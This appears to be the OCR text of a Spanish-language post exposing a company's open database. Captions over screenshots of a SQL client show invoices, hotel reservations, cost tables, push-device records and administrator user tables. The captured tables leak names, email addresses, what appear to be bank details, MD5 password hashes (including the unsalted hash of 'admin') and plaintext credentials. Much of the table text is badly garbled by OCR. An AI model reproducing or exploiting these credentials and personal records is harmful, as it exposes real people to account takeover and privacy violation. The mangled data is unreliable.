tiendas_virtuales tipos_usuario traduccion traduccion_lineas usuarios




Tablas con todos los permisos habilitados (lectura, escritura)...

infotactile - hoteles ~ ventas_entradas

ip

B m =
Show Sidebar New Window SQL Terminal

infotactile | hotoles [ ventas_entradas

hora

abor

id ‘vanu | detalle  datos asiento fecha | JW proveedor ]mmo | precio |

19705 76565 45068 Do 10302 190020161220 No numerada 20161220 12028 P A . O L0 i awea s o Pol 1o v Wi ., St
19706 76565 45068  De 1030 190020161220 No rumerada 20161220 12025 s Parps e e, UNDMGNNOTINTD.  isec ¢ Conat v Patede . Mo Maro sPeface:  ‘gai
139707 76565 45068 Do 10303 19.002016-12-20 No numarada 2016-12.20 112025 m"mm“ ;’gm&r&m&” m:m:‘;’ mm;: sing
10708 76565 45068 Do 1004 190020161220 No rumerada 20161220 12025 R . O B N Jamic s Cmiz! +Pifate, Weso o tOaTats. ot
139.709 76,565 45068 De 10:30 a 19.00 2016-12-20 No numerada 2016-12-20 120:25 mmmﬂ %m"&mu . m:mm? mm‘: Sing
13710 7655 45088 Do 1030a 190020161220 No rumerada 20161220 12028 SERNs PerpaMiiciots' [ SUNORCRINRIOIINTO. . MMM SONICY F0ulacie Aok Ly SROMUS. . st
™ 76.565 45068 De 10:30 a 19.00 2016-12-20 No numerada 2016-12-20 12025 m?mmﬂ f‘”ﬁ:ﬁ;‘g;&m‘* m:mm‘; mmu: Sing
19712 76565 45068 Do 10302 190020161220 No rumerada 20161220 112028 D Peieody:  RNICKMROTINIG . weo s Caniat T Bunce Mowio Wreio s PEMS: a5
139713 76.565 45068 De 16:00 a 18:30 2016-12-20 No numerada 2016-12-20 1:20:25 Taquia Paos Mindeo oy %Dﬁ?s:o‘;;";emu. m:mm? mm& Sing
139714 76565 45.068 De 16:00 a 18:30 2016-1220 No numerada 20161220 1:20:25 mwmu ?mum"s:oa;l:reou m,‘m:‘.? mm,:: Sina
1715 76.565 45.068 De 16:00 a 18:30 2016-12-20 No numerada 2016-12-20 12025 ml‘mu&mm mm;ﬂom m:mmﬂ; mm“: Sing
19716 76565 45068 Do 16002 18:302016-1220 No rumerada 20161220 12025 sl Posyss Mokes . PMCENROTIO. AN +OuEL:s Putells - Moto e s P08, i
T 7S5 45088 Do 1600 183020161220 No rumeraca w6220 12025 I | YY" P o oo ey rmemger ot o T
19718 76565 45068 Do 16002 18:302016-1220 No rumerada 20161220 12028 Rl pue Moy | EMDVCLINROTINIO. Mo sOmnti < Puface. s Mowo s e e oy
19719 76565 45068  De 16:00a 183020161220 No rumerada 20161220 12025 Tl paros ey, | FUNMMCONROTIID.. Mo s Cancit » Pollede . Mueo Miaro s Paface. gy,
139720 76565 45068 Do 16:00a 18:302016-12:20 No numerada 20161220 12025 mmma ;Nmm:emu., m:mx? mm,.: Sins
19721 76565 45068 Do 16004 183020161220 No rumarada 20161220 12025 Taxa Paspe iiaio 06:  ANDACKHINOTINIO. . Misto ¢ Caniot 4 Pafiece . Moo Mrweo s Pelass. . ‘g3,
19722 76565 45068 D 16:00a 1830 2016-12:20 No rumerada 2016-12.20 12025 m"mm“ ;mmomog‘:l:;ou“ m:m::? mm:: Sing
10723 76565 45088 Do 1600a 183020161220 No rumerada 20161220 12025 JamaraneMbecdy | ANMCONNOTNIO = MewiosCamet sPalade. Mesolowo sPurade: gy
139724 76.565 45.068 De 16:00 a 18:30 2016-12-20 No numerada 2016-12-20 12025 mwma mm;ﬂou. m:mm‘;‘ mm& Sing
19725 7655 45088 Do 1600a 183020161220 No rumerada 20161220 112028 Bk foasiindy: NIDICKNROTI(O. . Misormst SRNGe Wi e s BWMI6:  my
139726 76565 45068 Do 16:00a 18:30 2016-12:20 No rumerada 20161220 112025 m"‘“"""""“ :mmm"&ou., m:mm‘; mm‘;& sine
19727 7655 45068 Do 16:00a 183020161220 No rumerada 20161220 12025 TP Mo Gy, - NI RO TINTC, o hameo «Cumal +Bulatie; - Voo Wieed s PUAe . g4l
19728 76565 45068  Da16:00a 183020161220 No rumerada 20161220 12025 R P Mnero e P P T . e Conedt + Pefide : Museo lramo s Petnde: i
139720 76565 45088  De 1600 18:30 2016-12:20 No rumerada 20161220 12025 TR Perges Mineto e ;’m’ﬁ";&wu” A0S CundL s PUIR0. Wtso kot Petlede: g
1970 76565 45068 Do 16:00a 183020161220 No rumerada 20161220 n202s T Pern Mnemdy: /FONDACUNRIO TIIO,. Miseo+ Cescli < Paflace. Miseo Miano el e gy,
19731 7655 45068 D 1600 183020161220 No rumerada 20161220 12028 T s Mo g AN P TN o o sCuna] + Pelada Motwo Moo e (R 6. ‘st
19732 76565 45068  De 16004 183020161220 No rumerada 20161220 12025 Dateparpe e 0n’ | ARHCINNOTHIO. Mo ¢ Caeat s Patade - Museo eamo SPaface 5334
19738 76565 45068  De 16002 18:02016-1220 No numerada 20161220 12025 Toquile Parque Minero de Tu"ﬁﬁ"sv%ﬂl"&mu,. m:m mﬁ Mo Mo s Poliade. g,
139734 76565 45068 Do 1600a 183020161220 No rumerada 20161220 12025 Jaserennieods:  ANMCONROTNIO Mo s Casest s Pafde. Mussoeano tPaface gy
139735 76565 45068 Do 16:00a 18:302016-1220 No numerada 20161220 12025 Toqle Pargue Minerode.  FUNDACKONRIOTINTO Museo + Coeet ¢ Peflade  Mueso Minero + Pofia e o,




Incluso todas las bases de datos...

v e infotactile
. e ) 1 =
QIC " m = Q
Show Sidebar New Window SQL Terminal Filter
infotactile
carnicerias infotact infotact_milen ile_gudelia loterias revision_infotactile tareas
templatel
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Con su copia de seguridad por si ocurre algo anémalo...

infotactile

carnicerias cines hoteles infotact infotact_aa infotact_milen infotactile [infotactile_copia] infotactile_gudelia

&

loterias postgres revision_infotactile tareas template1

e,

tackron




< »

Y por supuesto con acceso a otras tablas de la Base de Datos...
ene

Infotactile

infotactile - infotactile
)
» —_— >
Show Sidebar New Window SOL Terminal Filtar
u Infotactie
£LCT 1
—_ -
SQL Terminal
¥ public

adjuntos_master

albaranes_pedidos banners borrado cadenas _hoteles gorias_negocios 5_Negocio.. _turismo _turismo._.. clientes chentes._ conexion
costes edades edades_hotel estados estados_idiomas_lista | facturas] facturas_20160505 facturas_falsas facturas_mayo fijos franquiciados franquiciados_cont.... hoteles hoteles_contacto interes_hotel
materiales meses negocios_hoteles paises pedidos pedidos_20160505 pedidos_factura  pedidos_factura 09... pedidos_factura_20... pedidos_factura_falsa  pedidos_falsos pedidos_meses
_horarios . maquin. _progra... provincias royalties tarifas tarifas_lineas tiendas_nuevos_act... tipo_pedido tipos_usuario turismo_hoteles usuarios usuarios_mailing ventas ventas_cliente
=
Ay |
ventas_hoteles ventas_meses ventas_secciones vitoria
¥ responsivo
apuntate contacto franquiciados galeria_noticias galeria_videos identificadores idiomas imagenes listado_paises listadomenu listadonoticia mapas menu menus noticias
paises paises_idiomas provincias redessociales se0 textos traducciones. wrls users usuarios usuarios_tipos videos zonas
web




Incluso la propia facturacion la empresa...
L AR |

~ inforactle - facturss

(1)r - - - (;‘
SR Sishr Ne Wncom S Tenmnal Filrer

intotactily g inforactio G facturay
4 sty sy sty sty R st
245 2 mu;lm‘ ‘hf”“ Wy 4 : LogpakatrLagaana fm ] Alsva Warini s dess, 5. ZJB;‘I”:;: Koy Homer Catwnoms
w5 P Caros Ddd inammosin \THRTIF Syronn oa s Mermsos W 2O Logroken 5 P Weanansal 3o losss, SL z:":z‘: ¥o5 MBI, sesty Catawrm
“r 7 et ibeanbadiidl E s Nps, 7 08 La Pasipu ot Barca pars Wanantsl da oas, 51 x‘;:d:’ Vos Hemerss,  aarny Catanoers
#8 P Lotsia dot Caman S.L 1048255 Maro Sl Carinan, 4boje 28001 Logrossy La Ficga Warants do kieis, 5.1 gmm“; o8 Homer08,  pesgn Calarar
e 2 Grung Emarsaral Clnra  BIB240B08 o o Madisvs Kim 326 28001 Lardony o Rigp WMarantal ¢t ;’:2":;‘;? 106 HAMIGS,  oepn Cutuhorra
e z Liwyts, 5070 Lopolan BT g o PARch Jomp VGhn, oo wngroksty L8 itoa Waranial g Coas, 5 g’;’;’s‘;‘: S HOMIWS, a0y Galsronms
251 7 Sorns Ochoa 5 A 22537720 Downnss Cesnoos 19 26000 sagiksss L g Wanoniai 1635, 51 ‘;m’: 1og HOMeRR,  oa500 Cataronra
75 z Wibons AL SL SR 4656 Yoy R 23 2440 oerohaty L 7 Wenanitad do ', S %;’L’;’: Wy HOMSRS:  opstyy Catons
5% 2 £n Astuas SL G265 Henmang Mory 22 7001 Logrokst L i WMananesl o ieas, SL. ;I,;MQLJ: oy Homas,  ouenn Caishons
24 7 Sotian S0 ST S Wuro ce b Maa, & o Lok s L Mananisl oo W0ees, SL ;’m? e Hamens,  ounng Cstanora
236 2 Hacienda Onigees S BA571500 G Recaip, 7 Han Viena Navara Warantsl o ees, SL ;’»‘;"&": kaddadiciis PPV Cainrom
2% ¢ Rosara Rivers Bazo AR e \Aetior Pradara 1, Enregorts w0 ek L Facja Waranta da ieas, SL z?;’i: :‘Z 10w Horreros, o Calororey
& 7 Beoragas Buabalnas AAEIG 20 of sstanfm 3 XA Hary V& Paga Mananial de 0oas, S ;‘;‘;’ﬁ;"’; 108 HamSI0S,  amensy Cavargrmn
255 2 Veshors S0, JorAs Sanasta § 2400 Lngrohen La Pz Wananbal da isees, SL i’;""};’:"’: los Homs,  ourre Cotanoma
(2 v A srpch oty 23 S LA Wared Fars 3y mire Sant Cuonal Bareslona Manantsl o Wsas, $1 gum‘“: 15 Homemy, WA Calantira
E z Settan $6 WBIT24S Maro a1 Mat, & 22401 Lingpodats L3 Ricga Marantial co iens, SL m’a’;": fos Hemarss,  osssn Calahorrs
5 z BaparC.3 FABWL, Vb 1anas, n 77 76 Lograhan 5 P Wesranbal s, Si. ;:;’:2 "‘; os HeMS0%,  Jueng Culuhorn
£ 7 Rgsara Fivera Buzly 165321812 Vi Pradora 7, Eniognta 26001 oy oy La Figa Warantisl o Koss, Si gm": los Hamues.  oesrn Cusrora
%5 2 ‘::m ¥7homas WSS popsneazs L, 7 2801 arekiey Lo R Wanansal 9 10005, S m“;‘ W5 Hemsrs,  oegan Catahors
i F m"wxo’ Cria. Legpuh oy s 2605y Coricary Lis Ficg thananiel oy Beas, SL g:;,‘w::d‘d: 100 Hansite, s Calurony
25 P £n Ascuas S1. BRI Hermany Mory 22 2700 Logeosn L Ricia Manansal oo e, L ;’;m"; ios HOMS:  onsto Cuinhor L
ik v aanps Blahnss AASSTE o spshn G ) Harg L4 Avrs MIrSNB oy W il ;{m}:":’ los remeiog, 2L Catalvyrrs
wit 2 Hationda Onigess S BH571599 O Recaip, 7 31290 Viena Navarta Marantisl do ‘ees, S m": D HOmO0d,  oasney Catarons
%8 2 m“‘;’;’ Sy SIS /s Vega 385 2005 Verea L Pt Wancnias do idoss, SL g»w:: WSHOMMS,  opses Colahoma
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Revelando datos confidenciales sometidos a RLOPD...

L AR 4

gty

,J nhokac iy

45 lacluras

WLaLm

:{bln' . 4 :_mnu' £ e b

salahcrs La Fuga ARG ot G
haney L Pugn P NGRS,
Aalahona L Ficgn DA G NRTTRALL
salahora wa Raga LAY T YT LT
“alahora Lo Rioga A B lugcantamet.oom
Sekakgeig Lo Fing DA GBI LAY
Lalangrra -3 Riggg DG GOV GO
aluhora La Ricia Ao lugeintamat com
Alshora Ly Rl DB QN RITA LA
Alahgva L3 P PITAGY GG TIE NSO
calangriy La s pabio@ugomlamet oom
slahgera L Fiogs PG Aara oom
AN L5 Flackin LA G 7 AT
aEhoims La g FIACG g PR IA LAY
salahorra L Ficgp putAyEIuGentemat.oom
salahoms L R AT

salawra La Hings PREAGE UGLBIE A

Salabaies

satanGIry

Alahona

~alahowa

Wniva

salahora

alahora

Salahatea

Y

WA ugtrtar ot oom

RN L AN A

pasM@higunameateom
DROA S WYL T AT

TR IGO0

PAAGD UGBTI AT
P LGoINtETRBt Com
LA SGINAT A AT

SRR

A LT

‘mmor(hr,!‘ Fecha
| G205
z DAL
3 W1461-09
4 254 01-0H
5 MWy A0
& TR,
4 214010
] AR R
9 WiAGV
% P42
1 Wy A2
1z 2014-01-2%
13 40121
" wia a2
1% 20140121
5 2140005
W Wy Ak
13 2GRy
£ AL
2 W45
21 WNEOR2S
Fed 04007
= A GLes
24 20149501
25 ROAER DS ]
ke WAL

sy

P

%6

9%

P

9z

2%

3

T4

7%

9934

o

L

rifotachite

rfotactile

factyray

]

Show Sdetr Vg Wieday S8 Termingd

Wy

06GTTS

.7

395

w79

Iz

ity

Hik

»
N

a6

75,44

B

@12

04,16

344

SABTTS

856

20084

whid

NS Ee

LN
a7
321 6
%2
242
2y
HATY
335
a5
24544
7950
ATz
EovALY
7966
891.257%
390,66

1202014

farm.apaca

O Jarcois

LG AN Ry
Caatyn

O Bancora

T FS TSRS 5y
L Bancans

LREBEES S0 R5TY
O Bancars

DR THARZN R
7 Barcariy

PSS BRI A

Lty
I TOEET | S4BT 26
O Barceds
HOREEREESLIVIYSET RN
0 Banesra
GRSV A2
O Bancaia
YFLNA GIEN AT 57
[y Barcary
HSFESA 1 RS RAES

VL

Contade

O Banear

ALYy LT Rl
0 Banearta

QOB 1 0FAEE 0001 4856567
U Barcata

AN PN GT O]
O ancana

18222 10215822
O 3arcaras

P A

o Bancara
ESBON4LARRA1 12118059
O Baprars
LSS R BS RNT
Comnniy

[ Burcaity

LRI ST BA2AG7E
U arsana

DI BN TS e252]
O Sarcais

AL A GIERS 5107
e

FeNerventy

WA L
2549105
WGy
20491
24 01-0H
2R
25140105

@y

WAG-n
w4612
2140121
W A-04GE
2094-G4-G5
AP AP
AN G
Wy AG025
2014002
245028
PALR 27
2014-68-61
2140505

Ay LA

o

o ¢

Fal

I W/ad{ cifacturacof
W smene
] SRRASVY
W s
B semevye
W e

V] BOA4EAA7

&7 BRAAATE

b/ SBATY

W ssrw

/] ORAS Y

F7] BRRASAL

7 I

W o

W o

W owmayssy

v AR

v SORAAR

74 HREL/N52

] SRS

W smavy

7] SEAARSSY

WSS

oo

HREAAY

SHBASAD?

(S S

RN




Revelando datos confidenciales sometidos a RLOPD...
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Revelando datos que la competencia podria emplear para conocer sus precios finales...

infotactile [ infotactile  EEH ventas_cliente

id ‘ venta ffactura | fvencimiento | importe enviar  texto factura | re iva | enviado | albaran |
5 10 2014-02-05 2014-04-05 364 X gﬁxifefm?:;:;ﬁﬁzmﬁzf o, 281 0 21 > SR <
6 11 2014-01-21 2014-01-21 200 X Adaptacion de disefio y video Infotactile 256 0 21 X X
7 1 2014-02-06 2014-02-06 66 X g;:’;ig en 6 hoteles de Logrofio Infotactile mes ¢, 0 21 X X
8 1 2014-03-05 2014-03-05 66 X a“a‘:z"f" 6n 6 hoteles dg Logrofio Infotactle mes’: .., 0 21 X X
9 1 2014-04-07 2014-04-07 66 b’ x:lncio en 6 hoteles de Logrofio Infotactile mes 328 0 21 X X
10 11 2014-05-05 2014-05-05 66 X a’;‘;’;‘” en 6 hoteles de Logrofio Infotactile mes 5, 0 21 X X
11 1 2014-06-05 2014-06-05 6 b'e ‘.?lr‘\rt:i:cio en 6 hoteles de Logrofo Infotactile mes 404 0 21 X X
12 11 2014-07-07 2014-07-07 66 X ﬁ;"“ on 6 hoteles de Logrofio.infotactile mes': . 0 21 X X
14 12 2014-01-21 2014-01-21 200 X Disefio y adaptacion a Infotactile 257 0 21 X X
15 12 2014-02-28 2014-02-28 73656 X :2:::? o Infotactle durants 12 meses on 6 266 0 21 X X
16 13 2014-01-21 2014-01-21 200 X Disefio y adaptacion a Infotactile 255 0 21 X X
18 14 2014-01-21 2014-01-21 299 X gf;;{:::g'ﬁg; :‘:‘r’m'g :’n':;‘:m 258 0 21 X X
19 15 2014-01-21 2014-01-21 298 X fr’::;:;i‘l’e",‘;z';::‘o“ Infotactile + Anunclo 259 0 21 X ) <
20 15 2014-04-30 2014-04-30 198 X Anuncio Infotactile mes Abril 344 0 21 X X
21 15 2014-07-31 2014-07-31 198 X Anuncio Infotactile mes Julio 549 0 21 X X
23 16 2014-01-09 2014-01-09 332 X ﬂ:&{e"gxﬁf’e’;‘: ':,‘:‘r’a':::'g :nﬁ:;‘:fi:ag o 292 0 21 X X
24 16 2014-08-31 2014-08-31 182 X ';"a;o"‘i‘;’:gf’c"’“ en 6 hoteles durante 6 meses. ¢ 0 21 5 R
25 16 2014-04-30 2014-04-30 132 X :"a;o"‘i‘;r'i"‘.'m"’ NS hoteles durants 6 meses: /34 0 21 X X
26 17 2014-01-09 2014-01-09 596 X ﬁf&:ﬁm&l’s ':;‘r’:::'; "n::::w 246 0 21 X X
7w mene  muwee  m X Deydmemasesss o o X X H B
28 18 2014-02-28 2014-02-28 66 x Anuncio Infotactile en 6 hoteles durante 6 meses. 265 0 21 x x

Pago Febrero.
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O incluso modificar para cambiarlos y que no aparezcan como subidos...

infotactile = [ infotactile ~ E ventas_hoteles

id ‘ hotel 'venta | precio l importe ‘ subido l
26 7 10 11 11
27 2 10 11 11
28 1 10 11 11
29 3 10 11 11
30 10 11 11 1
31 7 11 11 11
32 6 11 11 11
g 11 11 11
2 11 11 11
35 1 11 11 11
42 10 12 10,23 0
43 7 12 10,23 0
44 6 12 10,23 0
45 3 12 10,23 0
46 1 12 10,23 0
47 2 12 10,23 0 - .

Cackron



O modificar cualquier reserva de un cliente...

infotactile ~ [ hoteles  EEH reservas
id 1sesion 1cliente |pax
310 33.518 150 2
31 33.520 151 4
312 33.527 152 6
313 33.517 1 6
314 33.516 152 7
315 33.520 153 2
316 33.513 155 1
317 33.513 155 1
318 33.542 150 2
319 33.522 150 2
320 33.518 1 2
321 33.529 156 2
322 33.519 156 5
323 33.519 156 5
324 33.518 1 3
325 33.518 1 7
326 33.518 156 3
327 33.522 160 2

| estado l tipo aviso  datos fecha anulada | codigo l hora
2015-11-25 s
° 5 X o 18:06:17.820438 b
0 4 X 222 2015-11-25 18:08:42 XK 15:00:00
2 5 223 2015-11-25 18:13:19 XK 853 22:00:00
2015-11-25 .
1 6 X 1 181601680602 % 20000
2015-11-25 SuTy
0 9 X 2 18:08:41 460865 % 21200:00
2015-11-25 e
{ 9 X 2 18:32:57.55429 X 190000
0 5 226 2015-11-25 19:03:07 XK 517 13:30:00
0 5 226 2015-11-25 19:04:26 XK 182 13:30:00
0 5 221 2015-11-26 09:38:28 X 079 23:00:00
0 5 221 2015-11-26 09:40:06 X 485 22:00:00
2015-11-26 .
! ¢ X ! 104551713647 X 13:30:00
2015-11-26 T
4 g X e 10:47:10.240803 14:00:00
2 5 227 2015-11-26 10:48:33 X 696 14:30:00
0 5 227 2015-11-26 10:48:36 XK 696 14:30:00
2015-11-26 o
. 6 X 1 11:53:15.07904 X 13:30:00
2015-11-26 .
1 o X 1 125000060051 X 13:50:00
2015-11-26 —
4 9 X 1asa00627617 00
0 5 229 2015-11-26 18:07:47 XK 646 22:00:00

Lackron




También exponen cuanto cuesta su infraestructura completa...

infotactile | infotactile ~ EEH costes

id | franquiciaq fijo | importe | texto

1 7 1 10 Prueba de seguro, 10€

9 6 1 60 SEGURO DE 5 MAQUINAS INFOTACTILE
MENSUAL

10 6 2 100 zEEI:‘\;IS:)LR PARA 5 MAQUINAS INFOTACTILE

1 8 1 60 SEGURO DE 5 MAQUINAS INFOTACTILE
MENSUAL

12 8 2 100 aEE':l‘QSSF PARA 5 MAQUINAS INFOTACTILE

13 9 1 144 aEE(;léﬁgLDE 12 MAQUINAS INFOTACTILE

14 9 2 240 Sgs;l:i(in PARA 12 MAQUINAS INFOTACTILE

15 13 1 72 ;Eeﬁl;sgLDE 6 MAQUINAS INFOTACTILE

16 13 2 120 ;Esl:l\glgg:l PARA 6 MAQUINAS INFOTACTILE

47 14 1 7 aEE?dgﬁgLDE 6 MAQUINAS INFOTACTILE

48 14 2 120 zEEz\QS:)F PARA 6 MAQUINAS INFOTACTILE

49 16 1 72 ;EE(;léﬁgLDE 6 MAQUINAS INFOTACTILE

50 16 2 120 nsAEE?\I‘QSI?LR PARA 6 MAQUINAS INFOTACTILE

59 1 1 144 hsdic;gﬁzos 12 MAQUINAS INFOTACTILE

52 1 2 240 :EE':]‘QS,?: PARA 12 MAQUINAS INFOTACTILE

55 17 1 108 ISAEE(:IL;?J(:LDE 9 MAQUINAS INFOTACTILE

56 17 2 180 aEEl;\;ISSF PARA 9 MAQUINAS INFOTACTILE

59 18 1 84 SEEgSAOL DE 7 MAQUINAS INFOTACTILE

60 18 2 140 ZEEI::QL[’);!LPARA 7 MAQUINAS INFOTACTILE

63 54 1 72 s‘EE(;léggLDE 6 MAQUINAS INFOTACTILE

‘ad &i 5 o0 SERVIDOR PARA 6 MAQUINAS INFOTACTILE

Cackron




O el sistema de rutas internas (rutas amigables) empleado por la aplicacion...

infotactile [ hoteles  EH url_amigables

id 1 idrelaclonaj componente | idioma | url_larga url_corta buscatitulo
1 0 negocios negociosfindex_2 negocios_negocio_index_2
2 0 aviones aviones/index aviones

3 0 camara camarafindex camara

4 0 camara camara/test camara_test

5 0 tiempo 0 tiempo/index tiempo

6 0 quienessomos

7 0 quienessomos quienessomos/index 2 b i
8 0 quienessomos _ma.. negocio_m...
9 0 quienessomos ::mafmlo mm_mgocb_mm
10 0 quienessomos /n _negocio

1" 0 anuncios_pais_vasco _pais_) _pais_vasco

12 0 anuncios_pais_vasco anuncios_pais_vascofindex... z‘:‘m—m—“m—mi
13 0 anuncios_pais_vasco :::zim _vasco/ ;:J“ms_pal s_vasco_negoci
14 0 anuncios_pais_vasco 2&:’::? T:':scol :‘:’ﬂ:ﬁ“‘zﬂs -vasco_negoci
15 0 anuncios_pais_vasco _pais_ _pais_vasco_neg...
16 0 eventos eventosfindex eventos

17 0 catalogo catalogo/index catalogo

18 0 tienda_01 tienda_01/index tienda_01

19 0 tienda_01 tienda_01/reserva tienda_01_reserva

20 0 tienda_01 tienda_01/pago tienda_01_pago

23 0 tienda_01 tienda_01/pago tienda_pago_01

24 0 entrega_01 entrega_01/index entrega_01

25 0 entrega_01 entrega_O1/reserva entrega_01_reserva

Lackron




Y los mensajes push enviados a los dispositivos de los clientes en las reservas incluso con credenciales en claro...

infotactile |5 hoteles EEH peticiones_push_devices

id | gem_regid | name idterminal fecha | usuario | pass
APA91bF5dASJzKThqiz3PASanVhwSAz2962J9D

# QMRYiSD_yuBDpPOVigMSONVDUCTVY1yRZ... '1TC One b10b47924901188 20141022 12:10:18 apple epple
25 ARADAN: . . DARKMOON b9dbIC22c2bb48 2014-10-22 17:33:08  Leti Leti
a3pSjaicyQbTUXOVWy2hgh7Pi1zwLOWwtaezif...
26 :;ﬁ;x:g;ﬁ:ﬁ:ﬁmxzsfmnp LG-D802 7410011118de64a3 2014-10-23 09:43:44  Leti Leti
31 ;?;Mxﬁ&%fﬁm%“ Nexus 5 204611431484010 2014-10-24 10:23:11
32 m&i‘:ﬁx&&sugpmwzdLWWC1mm C6833 8199444efe0b0des 2014-10-24 17:37:45 apple apple
B POeBVTaPARITITUFQUoDE. -OE40 aaeedoctaRasadt 20141090 142229
34 :ﬁ;fmmﬁ;@mm GT-19505 £20a20b 117980260 2014-11-04 13:36:12  demoinfo demoinfo
A&mmmmmﬂﬂ%w LG-D855 7060412075a824e5 2014-11-05 10:32:11
?«ffmsmmuxfd‘.'.".".e ngu‘gemm Coolpad 8297TW €433b3e3fadag601 2014-11-06 18:12:05 dorado caballos
37 ﬁ?&ﬁg&m&'&:}:ﬁmw GT-18730 24c495154cbccas5T 2014-11-09 19:15:14
» m‘sﬁmm&&wmﬁmf Flzz 4cad8cce3060b7db 2014-11-10 18:06:43 demoinfo demoinfo
mxxﬁﬂﬁmﬁfﬁ’gﬁﬂgs_mm AS500 5551a69a71442774 2014-11-10 23:20:16
o m@;&mﬁm“m 10S_iPadd,1 ﬁmmg' 2014-11-19 11:12:53  apple apple
55 m;;‘mmasm' 97ealc061d |05 iphones,2 :ﬁ%téz::gg;cac-sso 2014-11-19 11:32:39  demoinfo demoinfo
56 m&gfﬂﬁ%ﬁmﬁgﬁ%wm Ce833 8/99444efe0b0ded 2014-11-19 13:20:20 demoinfo demoinfo
ot &mﬁ@%ﬁ:ﬂmﬁﬂg&m JY-G3 59becb558dc5c23e 2014-11-19 13:22:32  demoinfo demoinfo
58 AP, 56 s B oo, IT99FT 2014-11-24 16:0038
59 gdowoslsaossg:;gm 158 |53 iPhoned,1 gggmggwn-mz- 2014-11-27 10:48:23 demoinfo demoainfo
60 o0 02RO 0eces01aMAN. 10 IPnoneT 2 B e 2014-12.01 13:52:44
. m:::gsnzsae&mos 250105 iPhones. ?m?&? 2014-12-03 05:11:28
62 mmmwmmn 10S_iPad2,2 m&w 95EA 2014-12.17 2320:52
;ﬁ:;;;mm&mem’ 10S_iPad4,2 m“;ﬁgﬂ""“w 2014-12-23 21:58:55
64 gfé::g:mww1nmaqmmm GT-19105P 5040d3410514a9d5 2015-01-18 16:00:37
% ngwdsﬁ?ﬁéﬁ;?%m"“"m'“ms 10S_iPad2,2 ;gmwsom 201501-18 17:39:58




O las propias consultas de la Base de Datos empleada por la aplicacion...

infotactile [ hoteles  ES componentes

id nombre url extra subconsulta protecto
1y “NUevE Ve - v TIUBVE_ VeI 7Upos | i ~ .
20 Taxis taxis X
. (SELECT id, nombre FROM cines_mg_cines
21 Cines MG cines_mg cines_mg ORDER BY nombre ASC)
Teatro Caceres teatro_caceres teatro_caceres X
Tarjetas tarjetas tarjetas X
" (SELECT id, nombre FROM anuncios_agrupados
s anuncios ORDER BY nombre ASC) X
25 Wi-Fi javascriptwifi(); wifis X
Agenda agenda agenda
Nuevas Ventas nuevasventas nuevasventas X
(SELECT id, nombre FROM marcadores ORDER
29 Marcadores marcadores marcadores BY e ASC) X
30 Vuelos aviones
31 ; X x X
32 evalnova evalnova evalnova (SELECT id,hotel FROM evalnova ORDER BY id) X
33 VLC Tarjetas victarjetas victarjetas X
34 Movelia movelia movelia X
35 vie ‘d _vic 5 _vic X
36 juego parejas juego_parejas juego_parejas SELECT id,nombre FROM juego_parejas X
37 nada javascript:void(0) X
i (SELECT id, nombre FROM
38 Camara Personaliza camara_personalizada camara_personalizada camaras_personalizadas ORDER BY nombre A... X
formulario_Johnson formulario_johnson formulario_johnson X
(SELECT id, nombre FROM web_externa ORDER
Web extemna web_externa web_externa BY ASC) X
(SELECT id, (pais Il *-' |l ciudad Il ' Il aeropuerto )
b Asropuertos aeropue/io ApIopueios as nombre FROM aeropuertos ORDER BY nom... X
42 Agenda Donosti agenda_donosti agenda_donosti X
z Z ; (SELECT id, nombre FROM urls_internas ORDER g
Enlace interno urls_internas urls_internas BY nombre ASC)
Dispensador de planos expendedor_planos expendedor_planos (SELECT id, nombre FRO X

expendedores planos ORDER BY nombre ASC)




Revelacion de usuarios administradores del sistema...

infotactile ~ | infotactile ~ EE usuarios

id nombre apellidos | skype | email | usuario contrasena tipo
o — ) . 547ec9c1fbb77d8a02469a64
1 Juan Beltran publipan.juan publipanjuan@gmail.com juan 43449666 1
22 Ifaki Jimenez publipancreativos.inaki publipancreativos@gmail.c... inaki :Z;:Zgaomdfswadsbae@ 1
¢ y aa94f97bd50a555aafc24185
77 Oscar Lugointernet oscar@lugointernet.com oscar 3837fddc 1
2 oo 5 2 g 2 oo 547ec9c1fbb77d8a02469a64
29 Javi Pérez javi.publipan infotactile@gmail.com javi 43449666 1
32 Marta Saez publipancreativos.marta soportemundoguia@gmail.co MartaS afe7170ddf4509287¢10cf99d 1
m 93ce467
70 Hely Almeida hely.almeida hely a4baciSdbadeodlied70706d
bfob2cf
66 Sara Séaenz de Inestrillas publipan.comunicacion sara@infotactile.com sara 956eba22h301c080da67161 1
b6a974958
646f62c4c711e58777cd443a
67 Carmen Fernandez carmen 691c8ed7 1
26 Miguel Ulecia publipan.miguel miguelulecia@infotactile.com miguel DELOCe005dco maeraBIng 1
0838937
: A " 70188340835d5cac814c134a
21 Paula Cereceda publipaula expansion@publipan.net paula 9653529¢ 1
. g 8d1e4246b33abda3b5380bb
71 Javier Fernandez javierf 31ae3de7a 1
72 Carolina Valdés carol.infotactile Carol seddbbardadidifadadiens 1
27011481
4b2fb63731e470a491146021
76 Isabel Gomez Isabel 0170abaa 1
. - 7089ca1b1b893d7df41eelal
78 Pilar Beltran pili 16666040 1
28 XAVI HERREROS mundoguia.xavi xavi@mundoguia.com xavi 3§§“;22‘::"°925322'b77°‘5‘° 1
: : faBca02d7f00a8c3631838944
79 Samai Soro samai 4648652 1
d2eB8a3eb4625aa78e211a40
80 PRACTICAS PRACTICAS 3846387 1
2 admin admin admin.admin admin@admin.com admin ﬁmnsnsansas«aao‘a 1 . .

Cackron



Revelacion de usuarios administradores del sistema de hoteles... ¢ Adivinan cual es su contrasefna?

. . ‘_’ .
infotactile 5 hoteles ~ EE usuarios

id | nombre l usuario 1 contrasena l franquiciad comercial
|
. . 21232f297a57a5a743894a0e
1 Admin admin 42801fc3 0 0

Cackron




Por si quedan dudas sobre el sistema de hash empleado...

infotactile = [ hoteles

hotel_textos hoteles

imagenes_home

johnson_cuentos

marcadores_puntos

marcoasignado

nuevos_negocios_g...

peticiones_peticion...

nuevos_negocios_s...

peticiones_peticion...

hoteles_banners hoteles_contacto

juego_parejas juego_parejas_imag...

marcos

nuevos_negocios_s...

nuevos_negocios_ti...

peticiones_peticiones peticiones_proveed...

hoteles_home

lineas

movelia_destinos_p...

paises

peticiones_push_de...

hoteles_it

localidades_fagor

movelia_log_api

palabras

poblaciones

huespedes

mapas_hoteles

movelia_nombre_lo...

peticiones_campos._...

protectores

iconos_mapas

magquinas

movelia_paises_loc...

peticiones_imagenes

protectores_compo...

Cackron



Incluso sus clientes de los paneles de hoteles...

infotactile 5 hoteles EER usuarios_panelhotel

id ‘ nombre 1 apellidos ; usuario % contrasena ‘ tipo \ conexion padre
